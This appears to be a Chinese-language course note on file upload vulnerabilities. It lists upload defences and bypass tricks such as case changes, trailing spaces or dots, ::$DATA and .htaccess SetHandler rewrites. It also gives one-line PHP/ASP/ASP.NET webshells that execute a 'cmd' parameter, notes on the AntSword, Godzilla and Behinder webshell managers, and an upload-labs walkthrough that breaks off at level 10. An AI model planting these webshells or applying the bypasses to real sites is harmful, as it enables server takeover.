1.文件上传防御手段及绕过手段总结
1.1文件上传防御手段
文件类型验证:
扩展名验证:检查上传文件的扩展名是否属于允许上传的文件类型。
MIME类型验证:通过读取文件的MIME类型来进一步确认文件的类型。
文件内容检查:
文件签名验证:检查文件的头部信息,确保文件的真实类型与声称的一致。
病毒扫描:使用反病毒软件扫描上传的文件,防止上传带有恶意代码的文件。
文件大小限制:
设置合理的文件大小上限,防止大文件上传导致的服务器资源耗尽。
文件名处理:
规范化文件名:对上传的文件名进行规范化处理,去除非法字符或特殊字符。
重命名文件:上传后自动更改文件名为随机字符串,防止利用文件名中的漏洞。
1.2绕过手段
1.大/双写文件名绕过
通过修改文件名(如添加空格、双写扩展名等)来绕过文件类型校验。
2.恶意文件内容以多段拼凑/拆解的形式组合
通过将恶意内容分割成多个小段,攻击者可以降低被安全检测系统(如防火墙、入侵检测系统等)识别的概率。这些系统通常会对上传的文件进行扫描,分段上传可以使得每个部分看起来都是合法的,从而逃避检测。
3.目录穿越到可执行目录
通过构造特殊的文件路径,将文件上传到可执行目录下。
4.htaccess重写解析绕过上传
如果黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。在htaccess文件中写入SetHandler application/x-httpd-php则可以将文件重写成php文件。PHPstudy中要使htaccess文件的规则生效,则需要在apache开启rewite重写模块,apache大多数都默认开启该模块,所以一般情况下都生效
2.文件上传常用一句话木马
1.php
<?php @eval($ POST['cmd']);?>
<?php assert($ PoST['cmd']);?>
2.asp
<%eval request("cmd")%>
<%execute(request("cmd"))%>
3.sap.net
<% @System.Diagnostics.Process.Start(Request["cmd"]) %>
3.课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
3.1蚁剑
创建木马,上传服务器
右键添加数据,测试链接并保存
配置代理服务与burpsuit一致
打开burpsuit,对抓包进行分析
3.2哥斯拉
点击管理生成
选择上传位置
点击目标添加
点击目标数据进入
打开burpsuit,对抓包进行分析
3.3冰蝎
创建连接
设置代理
4.文件上传无回显如何查找webshell地址
检查日志文件:服务器通常会记录所有的请求,包括文件上传。检查服务器日志文件,如Apache的access.log或Nginx的access.log,查找上传文件的记录。
使用安全扫描工具:有一些安全扫描工具,如sqlmap或Burp Suite,可以帮助找到上传的文件。
通过网站地图(sitemap)和搜索引擎链接分析:如果上传的webshell被索引到网站地图或被其他页面链接到,可以通过这些方式查找。
使用默认后门文件名:攻击者通常会使用一些默认的文件名来保存后门文件,如webshell.php、hacked.php等,尝试这些文件名进行访问。
使用安全监控和入侵检测系统(IDS/IPS):如果有这样的系统在监控网站,它们可能已经记录了上传文件的行为。
5.文件上传表单的无参/有参情况下构造表单
在进行文件上传时,通常需要构造一个HTML表单来提交文件数据。根据是否需要额外的数据(如表单字段),可以分为无参数(无参)和有参数(有参)两种情况。下面是两种情况下如何构造表单的例子:
5.1无参(无额外数据)
如果只需要上传一个文件而不需要额外的数据(如用户名、密码等),则可以简化表单如下:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload File" name="submit">
</form>
在这个例子中:
action属性指定了处理文件上传的服务器端脚本的URL。
method 属性设为 `post` 表示使用POST方法发送数据。
enctype属性设为 `multipart/form-data` 是因为只有这种编码类型支持文件上传。
type="file" 输入框用于让用户选择要上传的文件。
提交按钮用于触发文件上传。
5.2 有参(有额外数据)
如果有额外的数据需要与文件一起上传,比如用户名、密码等,可以在表单中加入这些字段:
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="username">Username:</label>
<input type="text" name="username" id="username"><br><br>
<label for="password">Password:</label>
<input type="password" name="password" id="password"><br><br>
<label for="fileToUpload">Select file to upload:</label>
<input type="file" name="fileToUpload" id="fileToUpload"><br><br>
<input type="submit" value="Upload File" name="submit">
</form>
在这个例子中:
添加了文本输入框 username 和密码输入框 password。
其他元素与无参的情况相同。
当构造表单时,有几个关键点需要注意:
表单编码类型:必须使用 `multipart/form-data` 才能上传文件。
文件输入名称:上传的文件将根据这个输入框的 `name` 属性值被发送到服务器。
服务器端处理:服务器端脚本需要能够处理 `multipart/form-data` 类型的POST请求,并从中提取文件和其他数据。
构造好表单之后,还需要确保服务器端代码能够正确地处理这些数据。这通常涉及到读取请求中的文件数据,验证文件类型,存储文件,以及处理额外的数据字段。
6. upload-labs靶场通关第6-第10关
Pass-06
查看源码,发现缺少strtolower()函数,可以使用大小写绕过
将文件后缀改为大写,上传成功
Pass-07
查看源码,发现缺少trim()函数,没有对后缀名进行去空处理,可在后缀名中加空格绕过
在文件后缀名后加空格,成功上传
pass-08
查看源码,发现缺少deldot()函数,没有对文件名末尾的点进行删除,可在后缀名后加点绕过
在文件后缀名后加点,成功上传
Pass-09
查看源码,没有对后缀名进行去“::$DATA”处理,可在后缀名中加::$DATA绕过
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
在后缀名中加”::$DATA,成功上传
Pass-10
查看源码
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
于是改后缀为:.php. .